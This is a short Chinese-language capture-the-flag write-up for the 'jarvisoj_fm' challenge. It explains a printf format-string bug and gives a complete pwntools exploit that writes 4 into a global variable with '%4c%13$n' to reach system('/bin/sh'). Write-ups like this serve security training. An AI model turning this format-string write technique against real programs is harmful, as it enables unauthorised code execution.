jarvisoj_fm
使用checksec
查看:
开启了栈不可执行和Canary。
先放进IDA中分析:
printf(&buf);
:存在格式化字符串的漏洞。if ( x == 4 ) { puts("running sh..."); system("/bin/sh"); }
:只需x
处的值为4即可拿到shell。
题目思路
- 存在格式化字符串漏洞。
- 利用格式化字符串漏洞将
x
处数据写成0x4
即可getshell。
步骤解析
完整exp
from pwn import *
#start
r = process("../buu/jarvisoj_fm")
#params
x_addr = 0x804A02C
#attack
payload = b'%4c%13$n' + p32(x_addr)
print(payload)
r.sendline(payload)
r.interactive()